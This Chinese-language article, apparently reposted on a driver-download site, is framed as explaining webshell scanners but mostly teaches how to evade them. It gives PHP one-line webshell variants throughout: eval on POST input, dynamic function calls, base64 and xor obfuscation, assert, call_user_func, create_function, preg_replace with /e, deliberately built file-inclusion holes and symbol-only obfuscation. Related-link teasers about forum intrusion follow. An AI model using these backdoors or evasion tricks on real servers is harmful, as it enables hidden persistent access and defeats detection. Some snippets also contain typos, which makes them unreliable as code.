驱动管家:安全、高效、精准的专业驱动下载站!

Webshell查杀工具的原理 Webshell查杀工具怎么查杀?

2018-03-12 09:43:59责编:llp   来源:驱动管家     人气:

0×00 前言

大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.

Webshell查杀工具的原理 Webshell查杀工具怎么查杀?

0×01 字符串上的舞蹈

一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:

@eval ($_POST[xxxxx]);

很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用base64等编码函数来进行绕过

@$_GET[a]($_POST[xxxxx]);or

@base64_decode(base64编码过的eval)

当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.

另外大多数Webshell的查杀工具很少把assert函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用assert替换eval来执行猥琐的功能.

以前在ASP一句话Webshell的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用require,include等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个base64比较简单的例子

file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));

字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋 –__-!

0×02 利用PHP函数的一些特性

这一小段其实还是建立在玩转了字符串的基础上的,一个小例子

if(key($_GET)=='xxxxxx')call_user_func($_GET[xxx],$_POST[evil]);好吧,我承认这有点换汤不换药,这种类型的就是遇到WAF都挂b,因为基本上都是基于动态传入参数的,然后利用PHP函数换了个形式执行而已,最终还是调用eval,下面是一个小小的延伸

$x=create_function('',$_GET[x]); $x();再扫一眼PHP手册,我们在《高级PHP漏洞审计》读到过还有其他一些带有执行功能的函数,比如经常用的preg_replace加/e参数的黄金组合,这类一句话Webshell也算是比较常见的了.总结起来他们可以算作是人为的构造一些PHP代码上的漏洞.比如

$f=$_GET[x];include($f);这样构造一个包含漏洞出来,或者

$s= copy,movefile ; //…. etc$s(参数调用)比如copy($_FILES[t][src],$_FILES[t][dst]);利用一些文件操作函数来猥琐一些小动作,再或者来个preg_replace执行漏洞的经典例子

$t= prege_replace;$t("/[xxx]/e",$_POST[x],"Hah!~");这一方面能发散的地方还有很多,还是得多瞅瞅PHP手册,因为PHP的相关函数真是太猥琐了.

0×03 利用PHP的一些魔法特性

不知道能不能把PHP的多态性叫做魔法特性,错误之处还请指出.看过Ryat和Qz牛的文章后会更好理解,老外给过一个经典的例子

($_=@$_GET[2]).@$_($_POST[1]);and

$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");or

${'_'.$_}['_'](${'_'.$_}['__']);当然我们实际不会这么去写,因为管理员瞅一眼就明白你是要做坏事了.这其中也结合了移位运算等,算是写得很花哨了 – -~

经常用MVC之类的框架搞开发,都能发现__autoload函数的好处,自己文件名去new一个类,然后在类中你可以在构造函数做点手脚什么的,而这一类函数在PHP中也是有不少的,我们可以猥琐一下加以利用.

另外常见的ob_start等利用PHP函数的回调特性也是有的,其实觉得应该把这个分类放到上一小节,之前和wulin牛也讨论过这种方式加密过的马的解密,不过现在大多数Webshell查杀工具都应该把它加到关键字了吧.

0×04 未完结

我一直相信还有更加猥琐的方式等等,攻防对立,也可以参考 核攻击

大牛在其lcx.cc上发布的讨论怎么从一万多个文件中快速定位Webshell来见招拆招.引用黑防之前一句很装13的话作为结语:在攻与防的对立中寻求统一.欢迎更多同学加入讨论~

  • 人们需要知道有关后门程序的三大技术知识

    人们需要知道有关后门程序的三大技术知识

    曾经饱受木马、后门(以下统称后门)侵害的人们都不会忘记机器被破坏后的惨象,于是人们展开了积极的防御工作,从补丁到防火墙,恨不得连网线都加个验证器,在多种多样的防御手法夹攻下,一大批后门倒下了,菜鸟们

    详情2018-01-06 18:19:03责编:llp   来源:驱动管家     
  • 尝试用后台漏洞入侵phpwind论坛

    尝试用后台漏洞入侵phpwind论坛

    事发一星期前,在入侵一个PHPWIND论坛时的成果,适用于PHPWIND不能上传,而网上盛传的三种拿SEHLL方法都无效,可以一试,应该算是PHPWIND后台的漏洞准备工具:winsock专家 v0 6 betan1 一只;UE-32 EXE一只;NC EXE一

    详情2018-03-05 11:29:41责编:llp   来源:驱动管家     
  • wifi如何泄密?自动连接wifi网络会成为出卖个人隐私的出口

    wifi如何泄密?自动连接wifi网络会成为出卖个人隐私的出口

    引言:Wi-Fi网络是我们生活当中所必不可少的重要通信工具。如今,询问Wi-Fi密码已经成为大部分用户到新地方要做的第一件事,但大部分人并不具备Wi-Fi安全的相关意识。据统计,目前我国手机网民已迫近6亿,随着移

    详情2018-02-06 14:03:21责编:llp   来源:驱动管家     
  • ms08 046漏洞分析过程 ms08 046漏洞与什么有关?

    ms08 046漏洞分析过程 ms08 046漏洞与什么有关?

    08046估计国内很多小牛大牛搞出来了 最早知道有这么个洞大约是在今年三四月份,听某牛man说有个系统默认支持的图片格式的洞,结果四月份出了个MS08-021,POC也有公开的,当时以为传言指的就是这两个 "鸡肋 " 没想到8月

    详情2018-02-05 16:39:49责编:llp   来源:驱动管家     
  • 演示科讯的漏洞 怎么找到科讯的漏洞?

    演示科讯的漏洞 怎么找到科讯的漏洞?

    现在程序在不断的发展,更新。漏洞也不断的出现。今天来给大家演示一下科讯的漏洞,简单拿大站的WebShell 在百度或者GOOGEL搜索,科讯的注册关键字,因为这个漏洞就出自于头像上传。关键字为(小提示:在输入用户

    详情2018-02-06 16:19:20责编:llp   来源:驱动管家     
  • 隐藏文件的四种方法 怎么隐藏文件?

    隐藏文件的四种方法 怎么隐藏文件?

    下面小编给大家整理了四条有关隐藏文件的方法,以供大家参考。第一种方法,也是最简单的:修改文件目录的属性此法最简单,只要选中欲隐藏的目录,单击鼠标右键,选择“属性”,在“隐藏”属性复选框中打个“&radi

    详情2018-01-19 09:35:07责编:llp   来源:驱动管家     
  • vmware是什么?vmware软件存在允许用户获得权限提升和拒绝服务漏洞

    vmware是什么?vmware软件存在允许用户获得权限提升和拒绝服务漏洞

    描述: BUGTRAQ ID: 28289 CVE(CAN) ID: CVE-2007-5618,CVE-2008-1364,CVE-2008-1340VMWare是一款虚拟PC软件,允许在一台机器上同时运行两个或多个Windows、DOS、LINUX系统。VMWare产品中存在多个安全漏洞

    详情2018-01-23 17:00:10责编:llp   来源:驱动管家     
  • 2016年木马病毒查杀软件的排行榜

    2016年木马病毒查杀软件的排行榜

    现在的电脑杀毒软件种类很多,在选择的时候,很多人并不知道如何去进行选,按照什么标准来进行选择,其实在选择杀毒软件首先要看杀毒能力,其次可以根据杀毒软件的功能来进行判定排名,下面就和大家一起来分析一

    详情2018-01-05 13:58:41责编:llp   来源:驱动管家     
  • 内网入侵经验(细节篇) 需要哪些入侵工具?

    内网入侵经验(细节篇) 需要哪些入侵工具?

    细节决定成败,不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了,还是来谈谈入侵吧。记得很久前有一位同事,注入的时候,在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间,为什么

    详情2018-01-27 16:46:54责编:llp   来源:驱动管家     
  • 必须知道的网络技术术语对应的中文意思

    必须知道的网络技术术语对应的中文意思

    LAN 局域网WAN  广域网UTP非屏蔽的双绞线STP屏蔽的双绞线ATM异步传输模式FDDI  光纤分布式数据接口CSMA CD 载波侦听多路访问方法MSAU 多站访问单元ATM异部传输模式PVC永久虚拟回路Hub集线器PSTN  公共

    详情2018-01-13 18:10:27责编:llp   来源:驱动管家